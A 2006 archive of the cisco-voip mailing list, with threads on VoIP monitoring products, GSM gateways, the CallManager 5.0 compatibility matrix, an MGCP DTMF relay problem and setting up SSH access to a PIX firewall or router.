> Lelio Fulgenzi, B.A.     Network Analyst (CCS)
> University of Guelph     Guelph, Ontario     N1G 2W1
> (519) 824-4120 x56354     (519) 767-1060 FAX 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

> Sanity First : Number of days with less than
> 50 messages in my inbox at the end of the day:          7
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From pwalenta at wi.rr.com  Tue Feb 28 10:43:53 2006
From: pwalenta at wi.rr.com (pwalenta@wi.rr.com)
Date: Tue Feb 28 10:43:58 2006
Subject: [cisco-voip] independent network tests/reports
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E80@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E80@MREXVS01.bc.broward.cty>
Message-ID: <fe90dec72c29.2c29fe90dec7@rdc-kc.rr.com>

I used to lean towards NetIQ.  It was a great platform.  It's had some
major issues as of late though and I'm not quite sure what happened to
them because I can't seem to get a good response from them anymore.

My preferred platform is now Qovia.  They do audio-stream monitoring
like no one else I've seen.  If you have an audio problem anywhere,
their product's sensors know immediately and can report on it.

----- Original Message -----
From: "Ortiz, Carlos" <CORTIZ at broward.org>
Date: Tuesday, February 28, 2006 9:25 am
Subject: RE: [cisco-voip] independent network tests/reports
To: pwalenta at wi.rr.com, Lelio Fulgenzi <lelio at uoguelph.ca>
Cc: cisco-voip at puck.nether.net

> What is everyone out there using for managing your VOIP infrastructure
> that they would like to recommend?  I'm looking to purchase one....
> 
> Carlos
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of
> pwalenta at wi.rr.com
> Sent: Tuesday, February 28, 2006 8:50 AM
> To: Lelio Fulgenzi
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] independent network tests/reports
> 
> Cisco's new voice management package is in there with the Qovia 
> sensor.
> It's improved over ITEM, but I still think it has a long way to go.
> 
> ----- Original Message -----
> From: Lelio Fulgenzi <lelio at uoguelph.ca>
> Date: Monday, February 27, 2006 8:23 pm
> Subject: [cisco-voip] independent network tests/reports
> To: cisco-voip at puck.nether.net
> 
> > not sure if anyone has seen this, but thought i would share....
> > 
> > http://www.miercom.com/?url=reports/
> > 
> > ------------------------------------------------------------------
> --
> > ------------
> > Lelio Fulgenzi, B.A.     Network Analyst (CCS)
> > University of Guelph     Guelph, Ontario     N1G 2W1
> > (519) 824-4120 x56354     (519) 767-1060 FAX 
> > 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > Sanity First : Number of days with less than
> > 50 messages in my inbox at the end of the day:          7
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 

From Nick.Kassel at Charles-Stanley.co.uk  Tue Feb 28 10:54:53 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Tue Feb 28 10:55:05 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648265@CSEXCH01.charles-stanley.co.uk>

Sorry Tim, my sign on doesn't seem to work anymore, register, you
shouldn't get any sales calls from them, I didn't. 

 

________________________________

From: Tim Reimers [mailto:tim.reimers at asheville.k12.nc.us] 
Sent: Tuesday, February 28, 2006 2:33 PM
To: Nick Kassel
Subject: RE: [cisco-voip] GSM gateways??

 

That looks interesting, Nick--

 

Do you have the PDF infosheet on that product? I don't really want to
register on their site and end up being bugged by a salesguy  ;-)

 

so if you happen to have it, can you send it?

 

thanks, Tim

 

________________________________

From: Nick Kassel [mailto:Nick.Kassel at Charles-Stanley.co.uk] 
Sent: Tuesday, February 28, 2006 9:30 AM
To: Tim Reimers
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] GSM gateways??

We have 2 Quescom IP 400 gateways to handle all our GSM to GSM calls.

 

http://www.quescom.com/QuesCom400_IPGSM_gateway.asp?R=2   

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Tuesday, February 28, 2006 1:57 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] GSM gateways??

 

 

hi folks-- 

Does anyone out there use any type of cellular gateway to route calls to
the local cell providers such that those calls are then "cell to cell"??

I'm looking to find a device that will take up to 5 simultaneous calls
to certain Nxx and send those to a gateway with 5 cell phones, or
something..

The plan being to get calls made from the school district going to
principals/etc to go out for free by being 'cell to cell' calls.

Hopefully I can then train the principals to call in that way too... 

 


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You acknowledge that e-mails are not secure and you accept the risk of
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Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
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The London International Financial Futures &
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This footnote also confirms that this email message has been swept by
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***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
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You accept that any instructions are deemed to have been given at the time the
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and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

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From Nick.Kassel at Charles-Stanley.co.uk  Tue Feb 28 10:57:51 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Tue Feb 28 10:58:01 2006
Subject: [cisco-voip] GSM gateways??
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648266@CSEXCH01.charles-stanley.co.uk>

We do, but I've not had much to do with the SMS side so not sure I could
help.

-----Original Message-----
From: David Sullivan [mailto:David.Sullivan at barnet.ac.uk] 
Sent: Tuesday, February 28, 2006 2:42 PM
To: Nick Kassel
Subject: RE: [cisco-voip] GSM gateways??

On 28 Feb 2006 at 14:29, Nick Kassel wrote:

> We have 2 Quescom IP 400 gateways to handle all our GSM to GSM calls.
> 
>  
> 
> http://www.quescom.com/QuesCom400_IPGSM_gateway.asp?R=2   

We've had one these gateways for a while. Do you use the sms side of 
it at all? I've had various issues with messages being delayed if 
several are sent to the gateway simultaneously and Quescom never 
really seem in any hurry to get back to us.

David Sullivan
IT Services
Barnet College
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This communication may contain privileged or confidential information
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Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

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From steve.siltman at assurant.com  Tue Feb 28 12:32:34 2006
From: steve.siltman at assurant.com (steve.siltman@assurant.com)
Date: Tue Feb 28 12:33:12 2006
Subject: [cisco-voip] Steve Siltman is out of the office.
Message-ID: <OF8DA94D10.2BE1241E-ON85257123.00605DB3-85257123.00605DB5@assurant.com>


I will be out of the office starting  02/28/2006 and will not return until
03/13/2006.

I will respond to your message when I return.


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This e-mail message and all attachments transmitted with it may contain legally privileged and/or confidential information intended solely for the use of the addressee(s). If the reader of this message is not the intended recipient, you are hereby notified that any reading, dissemination, distribution, copying, forwarding or other use of this message or its attachments is strictly prohibited. If you have received this message in error, please notify the sender immediately and delete this message and all copies and backups thereof.

Thank you.
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From jsteinberg at gmail.com  Tue Feb 28 14:17:27 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Tue Feb 28 14:17:29 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
Message-ID: <f1b65f880602281117t6cfdd1ccsa54f3eadbb2910c1@mail.gmail.com>

Looks like Cisco finally updated their Compatibility Matrix and the
new matrix includes CCM 5.0(1) along with a release date of next
Monday Feb. 6.

http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.htm


Justin


From jonvoip at gmail.com  Tue Feb 28 14:30:03 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Tue Feb 28 14:30:06 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
In-Reply-To: <f1b65f880602281117t6cfdd1ccsa54f3eadbb2910c1@mail.gmail.com>
References: <f1b65f880602281117t6cfdd1ccsa54f3eadbb2910c1@mail.gmail.com>
Message-ID: <5d093f9a0602281130i57e96ac0n7ae6695cff02cf37@mail.gmail.com>

Does that mean the NDA expired and we can talk about it?



Jonathan

On 2/28/06, Justin Steinberg <jsteinberg at gmail.com> wrote:
>
> Looks like Cisco finally updated their Compatibility Matrix and the
> new matrix includes CCM 5.0(1) along with a release date of next
> Monday Feb. 6.
>
> http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.htm
>
>
> Justin
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From Scott.Voll at wesd.org  Tue Feb 28 14:30:49 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 28 14:30:58 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE181D@VISHNU.wesd.org>


<RANT>
Thank you Cisco for making everything depended on everything else.  Not
only is IPCCx need to be upgraded, but Unity also needs to be upgraded
if you want to upgrade to CM 5.x.  As if a CM upgrade wasn't long enough
we have to upgrade everything else.  Make for a really long day.
</RANT>

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Tuesday, February 28, 2006 11:17 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)

Looks like Cisco finally updated their Compatibility Matrix and the
new matrix includes CCM 5.0(1) along with a release date of next
Monday Feb. 6.

http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.h
tm


Justin

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jonvoip at gmail.com  Tue Feb 28 14:35:08 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Tue Feb 28 14:35:12 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE181D@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE181D@VISHNU.wesd.org>
Message-ID: <5d093f9a0602281135k6531aa79u64964609064fed55@mail.gmail.com>

No, you just need to upgrade the TSP to 8.1.1, not an unreasonable request.

To be honest, I suspect that only a scant few will move to 5.0(1), and most
will wait for 5.0(3) (for reasons I am not sure I can divulge).

By then, most people will either be on new installs of CCM5, or will be
upgrading everything anyway.



J

On 2/28/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>
> <RANT>
> Thank you Cisco for making everything depended on everything else.  Not
> only is IPCCx need to be upgraded, but Unity also needs to be upgraded
> if you want to upgrade to CM 5.x.  As if a CM upgrade wasn't long enough
> we have to upgrade everything else.  Make for a really long day.
> </RANT>
>
> Scott
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
> Steinberg
> Sent: Tuesday, February 28, 2006 11:17 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
>
> Looks like Cisco finally updated their Compatibility Matrix and the
> new matrix includes CCM 5.0(1) along with a release date of next
> Monday Feb. 6.
>
> http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.h
> tm
>
>
> Justin
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From Scott.Voll at wesd.org  Tue Feb 28 14:41:38 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 28 14:41:47 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE181E@VISHNU.wesd.org>

Unless I'm misreading it only has a Y next to Unity version 4.2.1.

 

Scott

 

________________________________

From: Jonathan Charles [mailto:jonvoip at gmail.com] 
Sent: Tuesday, February 28, 2006 11:35 AM
To: Voll, Scott
Cc: Cisco Voip
Subject: Re: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)

 

No, you just need to upgrade the TSP to 8.1.1, not an unreasonable
request.

To be honest, I suspect that only a scant few will move to 5.0(1), and
most will wait for 5.0(3) (for reasons I am not sure I can divulge). 

By then, most people will either be on new installs of CCM5, or will be
upgrading everything anyway.



J

On 2/28/06, Voll, Scott < Scott.Voll at wesd.org> wrote:


<RANT> 
Thank you Cisco for making everything depended on everything else.  Not
only is IPCCx need to be upgraded, but Unity also needs to be upgraded
if you want to upgrade to CM 5.x.  As if a CM upgrade wasn't long enough

we have to upgrade everything else.  Make for a really long day.
</RANT>

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net 
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Tuesday, February 28, 2006 11:17 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)

Looks like Cisco finally updated their Compatibility Matrix and the
new matrix includes CCM 5.0(1) along with a release date of next 
Monday Feb. 6.

http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.h
tm


Justin

_______________________________________________ 
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip 

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

 

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From jonvoip at gmail.com  Tue Feb 28 15:37:37 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Tue Feb 28 15:37:41 2006
Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE181E@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE181E@VISHNU.wesd.org>
Message-ID: <5d093f9a0602281237x21980bc4l392e6bbc08d42687@mail.gmail.com>

Well, I am looking at something different... and it should work with Unity
4.0(5) and 4.1(1) with TSP 8.1.1

While the compatibility matrix disagrees with this, it does specify the
correct TSP, and CCM to Unity (and vice versa) shouldn't care... if the TSP
matches, then Unity will just push stuff thataway, and so will CCM.



J


On 2/28/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  Unless I'm misreading it only has a Y next to Unity version 4.2.1.
>
>
>
> Scott
>
>
>  ------------------------------
>
> *From:* Jonathan Charles [mailto:jonvoip at gmail.com]
> *Sent:* Tuesday, February 28, 2006 11:35 AM
> *To:* Voll, Scott
> *Cc:* Cisco Voip
> *Subject:* Re: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
>
>
>
> No, you just need to upgrade the TSP to 8.1.1, not an unreasonable
> request.
>
> To be honest, I suspect that only a scant few will move to 5.0(1), and
> most will wait for 5.0(3) (for reasons I am not sure I can divulge).
>
> By then, most people will either be on new installs of CCM5, or will be
> upgrading everything anyway.
>
>
>
> J
>
> On 2/28/06, *Voll, Scott* < Scott.Voll at wesd.org> wrote:
>
>
> <RANT>
> Thank you Cisco for making everything depended on everything else.  Not
> only is IPCCx need to be upgraded, but Unity also needs to be upgraded
> if you want to upgrade to CM 5.x.  As if a CM upgrade wasn't long enough
> we have to upgrade everything else.  Make for a really long day.
> </RANT>
>
> Scott
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
> Steinberg
> Sent: Tuesday, February 28, 2006 11:17 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] New Compatibility Matrix and CCM 5.0(1)
>
> Looks like Cisco finally updated their Compatibility Matrix and the
> new matrix includes CCM 5.0(1) along with a release date of next
> Monday Feb. 6.
>
> http://www.cisco.com/univercd/cc/td/doc/product/voice/c_callmg/ccmcomp.h
> tm
>
>
> Justin
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From jgrace at digitelusa.net  Tue Feb 28 16:15:31 2006
From: jgrace at digitelusa.net (James Grace)
Date: Tue Feb 28 16:23:18 2006
Subject: [cisco-voip] trying to access my router by ssh 
Message-ID: <200602281622812.SM01568@3729434770>

Can someone give me some insight on how to get into my router by ssh 

Tac walked be thru on the ssh configuration on my pix and they were able to
get in.   but I don't know whats the best software to use.  Or how to use
one 

 

These are the applied configs 

 

pixfire(config)# ca gen rsa key 1024

For <key_modulus_size> >= 1024, key generation could

  take up to several minutes. Please wait.

Keypair generation process begin.

..Success.

pixfirewall(config)# ssh 0.0.0.0 0.0.0.0 outside

: Saved

:

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From BRiley at jackhenry.com  Tue Feb 28 16:34:49 2006
From: BRiley at jackhenry.com (Bill Riley III)
Date: Tue Feb 28 16:34:53 2006
Subject: [cisco-voip] trying to access my router by ssh 
Message-ID: <13591CB4B2359F4D96E2606DD6B840A0024B7A66@smoxchg.jhacorp.com>

I like using Putty. It is small and free.  Download it and there will be
a SSH radio button. Put in your outside IP address and away you go. 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Tuesday, February 28, 2006 3:16 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] trying to access my router by ssh 

 

Can someone give me some insight on how to get into my router by ssh 

Tac walked be thru on the ssh configuration on my pix and they were able
to get in.   but I don't know whats the best software to use.  Or how to
use one 

 

These are the applied configs 

 

pixfire(config)# ca gen rsa key 1024

For <key_modulus_size> >= 1024, key generation could

  take up to several minutes. Please wait.

Keypair generation process begin.

..Success.

pixfirewall(config)# ssh 0.0.0.0 0.0.0.0 outside

: Saved

:

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Eric.A.Fretz at L-3com.com  Tue Feb 28 16:42:01 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Tue Feb 28 16:42:24 2006
Subject: [cisco-voip] trying to access my router by ssh 
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8846E2@gvlexch02.gvl.is.l-3com.com>

In order to allow ssh access to your router, you have to setup ssh as an
input method...
 
 
so:
 
config terminal
(config)line vty 0 1
(config-line)transport input ssh
(config-line)exec-timeout 9 0
(config-line)exit
(config)crypto key generate rsa
{you need to choose your rsa key size....}
(config)exit
write mem
 
As usual, if you are using any ACL's on your intended router interface, make
sure you have a hole poked through the ACL to allow TCP 22 on the router
interface.
 
PuTTy is a great ssh client for win32 users.......
 
Cheers,
Eric
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Tuesday, February 28, 2006 3:16 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] trying to access my router by ssh 



Can someone give me some insight on how to get into my router by ssh 

Tac walked be thru on the ssh configuration on my pix and they were able to
get in.   but I don't know whats the best software to use.  Or how to use
one 

 

These are the applied configs 

 

pixfire(config)# ca gen rsa key 1024

For <key_modulus_size> >= 1024, key generation could

  take up to several minutes. Please wait.

Keypair generation process begin.

..Success.

pixfirewall(config)# ssh 0.0.0.0 0.0.0.0 outside

: Saved

:

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From upharten at gmail.com  Tue Feb 28 16:50:30 2006
From: upharten at gmail.com (Uben Pharten)
Date: Tue Feb 28 16:50:34 2006
Subject: [cisco-voip] DTMF and MGCP gateway
In-Reply-To: <13591CB4B2359F4D96E2606DD6B840A0024B7A48@smoxchg.jhacorp.com>
References: <13591CB4B2359F4D96E2606DD6B840A0024B7A48@smoxchg.jhacorp.com>
Message-ID: <351754700602281350o4af9f3a8mbb2707ff06ecb521@mail.gmail.com>

Hey Bill,

Have you tried this command?

"mgcp package-capability dtmf-package"
 Please send the output of a "show mgcp" command.

Uben - CCNA


On 2/27/06, Bill Riley III <BRiley at jackhenry.com> wrote:
>
>  I was using dtmf-relay h245-alphanumeric with the H.323 gateway. The
> ATA's are using SCCP.
>
>
>  ------------------------------
>
> *From:* Wes Sisk [mailto:wsisk at cisco.com]
> *Sent:* Monday, February 27, 2006 11:13 AM
> *To:* Bill Riley III
> *Cc:* cisco-voip at puck.nether.net
> *Subject:* Re: [cisco-voip] DTMF and MGCP gateway
>
>
>
> with this command:
> mgcp dtmf-relay voip codec all mode out-of-band
>
> the router is using the same DSP commands to recognize inband tones and
> take them out of band so long as h323 was also configured to use dtmf-relay
> h245-alphanumeric.  If you were not using dtmf-relay under h323, your
> signaling would have remained inband (in the audio channel).
>
> With out of band relay, are your ATA's using sccp or h323? If SCCP, SCCP
> only provides for a DTMF, and not a duration.  With h323 gateways if you use
> h245-signal, you get DTMF relayed OOB with both a digit and a duration.
> There is a CCM service parameter to modify digit duration for h323 with
> h245-signal DTMF relay is used.
>
> /Wes
>
> Bill Riley III wrote:
>
>
>
>
>
> I have a 2851 with a PRI into a MFT card for connectivity to the PSTN. I
> also have an IVR system used for a telephone banking application. The
> customer calls a pilot number associated with the PRI and it gets translated
> to an internal hunt group. There are four DN's in the hunt group connected
> to ATA's which terminate into the IVR system. Everything was working fine
> until the gateway was converted from H.323 to MGCP in order to facilitate
> a request by the customer. Now we are getting complaints that the IVR system
> is not understanding certain digits the when the customer is trying to input
> their account number. I have this same ATA to the IVR system setup running
> at a few other customers using H.323 with no problems and we did not have
> any complaints until the switch to MGCP.  I have not been able to track down
> if it is specific digits but the problem seems sporadic, some times the
> customer gets in and sometimes they do not. Here are some sections of the
> router config. I am running CCM 4.1.3. Any help would be appreciated.
>
>
>
>
>
> network-clock-participate wic 1
>
> network-clock-select 1 T1 0/1/0
>
> ip subnet-zero
>
> no ip source-route
>
>
>
> voice class codec 100
>
>  codec preference 1 g711ulaw
>
>  codec preference 2 g729r8
>
> !
>
> !
>
> !
>
> voice class h323 100
>
>  h225 timeout tcp establish 3
>
> !
>
> !
>
> !
>
> voice class dualtone-detect-params 90
>
>  freq-max-power 6
>
>  freq-min-power 25
>
>  freq-power-twist 15
>
>  freq-max-delay 16
>
>  cadence-variation 8
>
> !
>
> controller T1 0/1/0
>
>  framing esf
>
>  linecode b8zs
>
>  pri-group timeslots 1-24 service mgcp
>
> !
>
> interface Serial0/1/0:23
>
>  no ip address
>
>  isdn switch-type primary-ni
>
>  isdn incoming-voice voice
>
>  isdn bind-l3 ccm-manager
>
>  no cdp enable
>
>
>
> ccm-manager redundant-host 10.10.1.10
>
> ccm-manager mgcp
>
> ccm-manager music-on-hold
>
> ccm-manager config server 10.10.1.11
>
> ccm-manager config
>
> !
>
> mgcp
>
> mgcp call-agent 10.10.1.11 2427 service-type mgcp version 0.1
>
> mgcp dtmf-relay voip codec all mode out-of-band
>
> mgcp rtp unreachable timeout 1000 action notify
>
> mgcp modem passthrough voip mode nse
>
> mgcp package-capability rtp-package
>
> no mgcp package-capability res-package
>
> mgcp package-capability sst-package
>
> no mgcp package-capability fxr-package
>
> mgcp package-capability pre-package
>
> no mgcp timer receive-rtcp
>
> mgcp sdp simple
>
> mgcp fax t38 inhibit
>
> mgcp rtp payload-type g726r16 static
>
> mgcp bind control source-interface Loopback0
>
> mgcp bind media source-interface Loopback0
>
> !
>
> mgcp profile default
>
>
>
> Thanks,
>
> Bill Riley
>
>
>
>
>
>
>
>
> ------------------------------
>
>
>
> _______________________________________________
>
> cisco-voip mailing list
>
> cisco-voip at puck.nether.net
>
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Uben - CCNA
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From Scott.Voll at wesd.org  Tue Feb 28 16:51:39 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 28 16:51:47 2006
Subject: [cisco-voip] trying to access my router by ssh 
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1836@VISHNU.wesd.org>

I really like TeraTerm with SSH extensions.  Free and small.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fretz, EA Eric
@ IS
Sent: Tuesday, February 28, 2006 1:42 PM
To: 'James Grace'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] trying to access my router by ssh 

 

In order to allow ssh access to your router, you have to setup ssh as an
input method...

 

 

so:

 

config terminal

(config)line vty 0 1

(config-line)transport input ssh

(config-line)exec-timeout 9 0

(config-line)exit

(config)crypto key generate rsa

{you need to choose your rsa key size....}

(config)exit

write mem

 

As usual, if you are using any ACL's on your intended router interface,
make sure you have a hole poked through the ACL to allow TCP 22 on the
router interface.

 

PuTTy is a great ssh client for win32 users.......

 

Cheers,
Eric

 

	-----Original Message-----
	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
	Sent: Tuesday, February 28, 2006 3:16 PM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] trying to access my router by ssh 

	Can someone give me some insight on how to get into my router by
ssh 

	Tac walked be thru on the ssh configuration on my pix and they
were able to get in.   but I don't know whats the best software to use.
Or how to use one 

	 

	These are the applied configs 

	 

	pixfire(config)# ca gen rsa key 1024

	For <key_modulus_size> >= 1024, key generation could

	  take up to several minutes. Please wait.

	Keypair generation process begin.

	..Success.

	pixfirewall(config)# ssh 0.0.0.0 0.0.0.0 outside

	: Saved

	:

	James D. Grace 

	CCNP CCNA MCSE MCDBA

	Sr. System Engineer / Professional Svc.

	Digitel Corporation

	 

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From upharten at gmail.com  Tue Feb 28 16:55:08 2006
From: upharten at gmail.com (Uben Pharten)
Date: Tue Feb 28 16:55:11 2006
Subject: [cisco-voip] trying to access my router by ssh
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1836@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1836@VISHNU.wesd.org>
Message-ID: <351754700602281355pf955d5elccd1b3dd75a6dfea@mail.gmail.com>

Or you could use the ssh command in linux.

[localost root]#ssh pix at 10.1.1.1





On 2/28/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>
> I really like TeraTerm with SSH extensions.  Free and small.
>
>
>
> Scott
>
>
> ________________________________
>
>
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of
> Fretz, EA Eric @ IS
> Sent: Tuesday, February 28, 2006 1:42 PM
> To: 'James Grace'; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] trying to access my router by ssh
>
>
>
>
>
> In order to allow ssh access to your router, you have to setup ssh as an
> input method...
>
>
>
>
>
>
>
>
> so:
>
>
>
>
>
> config terminal
>
>
> (config)line vty 0 1
>
>
> (config-line)transport input ssh
>
>
> (config-line)exec-timeout 9 0
>
>
> (config-line)exit
>
>
> (config)crypto key generate rsa
>
>
> {you need to choose your rsa key size....}
>
>
> (config)exit
>
>
> write mem
>
>
>
>
>
> As usual, if you are using any ACL's on your intended router interface, make
> sure you have a hole poked through the ACL to allow TCP 22 on the router
> interface.
>
>
>
>
>
> PuTTy is a great ssh client for win32 users.......
>
>
>
>
>
> Cheers,
> Eric
>
>
>
>
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of
> James Grace
> Sent: Tuesday, February 28, 2006 3:16 PM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] trying to access my router by ssh
>
> Can someone give me some insight on how to get into my router by ssh
>
> Tac walked be thru on the ssh configuration on my pix and they were able to
> get in.   but I don't know whats the best software to use.  Or how to use
> one
>
>
>
> These are the applied configs
>
>
>
> pixfire(config)# ca gen rsa key 1024
>
> For <key_modulus_size> >= 1024, key generation could
>
>   take up to several minutes. Please wait.
>
> Keypair generation process begin.
>
> ..Success.
>
> pixfirewall(config)# ssh 0.0.0.0 0.0.0.0 outside
>
> : Saved
>
> :
>
> James D. Grace
>
> CCNP CCNA MCSE MCDBA
>
> Sr. System Engineer / Professional Svc.
>
> Digitel Corporation
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Uben - CCNA


From netfortius at gmail.com  Tue Feb 28 20:41:22 2006
From: netfortius at gmail.com (Netfortius)
Date: Tue, 28 Feb 2006 19:41:22 -0600
Subject: [cisco-voip] [OT?!?] Call Center solutions
Message-ID: <200602281941.23782.netfortius@gmail.com>

Sorry for something that may look like OT (mostly if compared to the 
